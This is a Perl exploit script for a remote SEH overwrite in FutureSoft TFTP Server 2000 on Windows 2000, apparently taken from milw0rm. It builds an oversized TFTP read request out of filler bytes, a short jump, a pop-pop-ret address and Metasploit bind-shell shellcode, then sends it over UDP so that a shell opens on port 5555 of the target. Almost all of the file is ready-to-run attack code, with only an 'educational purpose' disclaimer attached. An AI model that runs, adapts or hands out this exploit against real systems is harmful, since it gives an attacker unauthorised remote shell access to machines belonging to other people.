#!/usr/bin/perl
# ===============================================================================================
# FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit
# By Umesh Wanve
# ===============================================================================================
#
# Date : 22-03-2007
#
# Tested on Windows 2000 SP4 Server English
# Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
#
# Stack ---> buffer === AAAAA.........
# |
# Pointer to next SEH === Short Jump to Hellcode
# |
# SEH Handler === Pop, Pop, Ret (ws2help.dll win2000 sp4)
# |
# NOP Sled === Nop Sled
# |
# Hellcode === Hell.........
#
# This exploit will open port 5555 on remote server. Connect it to open shell.
#
#
# P.S: This was written for educational purpose. Use it at your own risk.Author will be not be
# responsible for any damage.
#
# Always Thanks to Metasploit.
#
#==================================================================================================
use IO::Socket;
#use strict;
my($read_request)="\x00\x01"; # GET or PUT request
my($tailer)="\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"; #transporting mode (eg. netascii)
# win32_bind - EXITFUNC=seh LPORT=5555 Size=344 Encoder=Pex http://metasploit.com
my($shellcode)=
"\x90\x90\x90\x90". #padding
"\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x60".
"\x5f\x45\x77\x83\xee\xfc\xe2\xf4\x9c\x35\xae\x3a\x88\xa6\xba\x88".
"\x9f\x3f\xce\x1b\x44\x7b\xce\x32\x5c\xd4\x39\x72\x18\x5e\xaa\xfc".
"\x2f\x47\xce\x28\x40\x5e\xae\x3e\xeb\x6b\xce\x76\x8e\x6e\x85\xee".
"\xcc\xdb\x85\x03\x67\x9e\x8f\x7a\x61\x9d\xae\x83\x5b\x0b\x61\x5f".
"\x15\xba\xce\x28\x44\x5e\xae\x11\xeb\x53\x0e\xfc\x3f\x43\x44\x9c".
"\x63\x73\xce\xfe\x0c\x7b\x59\x16\xa3\x6e\x9e\x13\xeb\x1c\x75\xfc".
"\x20\x53\xce\x07\x7c\xf2\xce\x37\x68\x01\x2d\xf9\x2e\x51\xa9\x27".
"\x9f\x89\x23\x24\x06\x37\x76\x45\x08\x28\x36\x45\x3f\x0b\xba\xa7".
"\x08\x94\xa8\x8b\x5b\x0f\xba\xa1\x3f\xd6\xa0\x11\xe1\xb2\x4d\x75".
"\x35\x35\x47\x88\xb0\x37\x9c\x7e\x95\xf2\x12\x88\xb6\x0c\x16\x24".
"\x33\x0c\x06\x24\x23\x0c\xba\xa7\x06\x37\x50\xc4\x06\x0c\xcc\x96".
"\xf5\x37\xe1\x6d\x10\x98\x12\x88\xb6\x35\x55\x26\x35\xa0\x95\x1f".
"\xc4\xf2\x6b\x9e\x37\xa0\x93\x24\x35\xa0\x95\x1f\x85\x16\xc3\x3e".
"\x37\xa0\x93\x27\x34\x0b\x10\x88\xb0\xcc\x2d\x90\x19\x99\x3c\x20".
"\x9f\x89\x10\x88\xb0\x39\x2f\x13\x06\x37\x26\x1a\xe9\xba\x2f\x27".
"\x39\x76\x89\xfe\x87\x35\x01\xfe\x82\x6e\x85\x84\xca\xa1\x07\x5a".
"\x9e\x1d\x69\xe4\xed\x25\x7d\xdc\xcb\xf4\x2d\x05\x9e\xec\x53\x88".
"\x15\x1b\xba\xa1\x3b\x08\x17\x26\x31\x0e\x2f\x76\x31\x0e\x10\x26".
"\x9f\x8f\x2d\xda\xb9\x5a\x8b\x24\x9f\x89\x2f\x88\x9f\x68\xba\xa7".
"\xeb\x08\xb9\xf4\xa4\x3b\xba\xa1\x32\xa0\x95\x1f\x90\xd5\x41\x28".
"\x33\xa0\x93\x88\xb0\x5f\x45\x77".
"\x90\x90\x90\x90". #padding
"\x90\x90\x90\x90";
my($pointer_to_next_seh)="\xeb\x06\x90\x90"; #short jump to shellcode
my($seh_handler)="\xa9\x11\x02\x75"; #pop, pop, ret
#(ws2help.dll win2000 sp4)
#Building malicious buffer
my($buffer)=$read_request.("A" x 268).$pointer_to_next_seh.$seh_handler.$shellcode.$tailer;
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "69",
Proto => "UDP"))
{
print "++Building Packet......\n" ;
print "++Connecting to server.....\n";
print "++Sending Buffer ....\n";
print "++Exploit Successfull...\n";
print "++Connect to victim on 5555.....\n";
# request + file name + mode
#see tftp protocol
print $socket $buffer;
sleep(1);
close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:69\n";
}
# __END_CODE
# milw0rm.com [2007-03-22]
